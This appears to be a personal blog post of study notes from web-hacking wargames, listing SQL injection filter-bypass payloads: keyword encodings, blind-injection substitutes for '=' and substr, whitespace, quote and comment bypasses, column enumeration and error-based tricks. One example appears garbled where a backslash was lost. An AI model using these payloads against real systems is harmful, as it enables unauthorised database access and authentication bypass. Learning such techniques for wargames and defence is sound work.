I intend to summarize the bypass techniques I've realized (?) while solving web hacking wargames so far.

Since I am writing everything manually based on memory, there might be some missing parts.

I will add and edit as I remember them.

- or, and

: ||, &&

- String Filtering (Ex. preg_match - admin, etc.)

: admin -> 0x61646d696e, 0b0110000101100100011011010110100101101110, char(0x61, 0x64, 0x6d, 0x69, 0x6e)

In the case of char(), other base systems can also be used

- '='(Equal) Filtering during Blind SQL Injection

: substr('abc',1,1)like('a'), if(strcmp(substr('abc',1,1),'a'),0,1), substr('abc',1,1)%20in('a')

- substr filtering

: right(left('abc',1),1), id>0x41444d4941 ('ADMIN' has a larger hex value than 'ADMIA')

- ereg, eregi

: If 'admin' is filtered, it can be bypassed using 'AdmIN', etc.

: If %00 is inserted at the very beginning, the subsequent characters are not filtered

- replace, replaceAll

: If 'admin' is filtered, it can be bypassed using 'adadminmin', etc.

- numeric character filtering

: 0 -> '!'='@'

: 1 -> '!'='!', etc. Numbers can be expressed using true, false, and formulas

- White Space Filtering (%20)

: %20 -> %0a %0b %0c %0d %09

- Single Quote Filtering (%27)

: Sometimes resolved by using Double quotes inside Single quotes

: Under special conditions, filtering can be bypassed by creating a Multibyte character with %bf%27 (though this rarely happens)

: If the '' backslash character is not filtered, bypass is possible in the following situation

ex. select test1 from test where id='' and pw='or 1#

-> parameter : id=&pw=%20or%201%23

- Comments

: #, --,;%00, /* */

- SQL Injection using Comments

: The scope of the '#' comment is 1 line. Since the line separator is %0a, SQL Injection can be performed as shown in the example below.

select test1 from test where id='abc'# and pw='%0aor id='admin'%23

: /* */

select test1 from test where id='abc'/* and pw=''*/or id='admin'%23

- When Blind SQL Injection subquery returns multiple rows but a WHERE clause cannot be used

: max(column_name), min(column_name), group_concat(column_name)

- When you need to find out table names or column names

: select test1 from test where id='admin' and pw='1234' procedure analyse();

Can be used with limit 2,1, etc., to extract necessary column names line by line

- When performing Error Based SQL Injection

: Doing 0xfffffffffffff*0xfffffffffffff causes an Integer Overflow error

- MultiByte Character SQL Injection

: When the character in the 'test1' field is a multibyte character (ex. UTF-32, etc.) rather than ASCII code, SQL Injection can be performed in the following way.

substr(hex(test1),1,1)=0x41

※ A way to determine if it is a MultiByte Character is to narrow down the scope using '>' and '<'. If the character range falls between 20 and 21, for example (ASCII character ranges do not result in decimals), it can be inferred to be a multibyte character.

- When checking if SQL Injection works

: Check if using ' (single quote) causes an error

: Check if using ' and '1'='1 outputs normally, while ' and '1'='2 does not output anything

: Check if using ' or '1'='1 outputs normally

: Check if a numeric column (ex. idx=23001) outputs normally when input as idx=23002-1

: Check if using '||' outputs normally (Restrict: When DB is Oracle and data type is declared as Varchar)

: When using comments, use #(%23), -- (--%20), %0a

댓글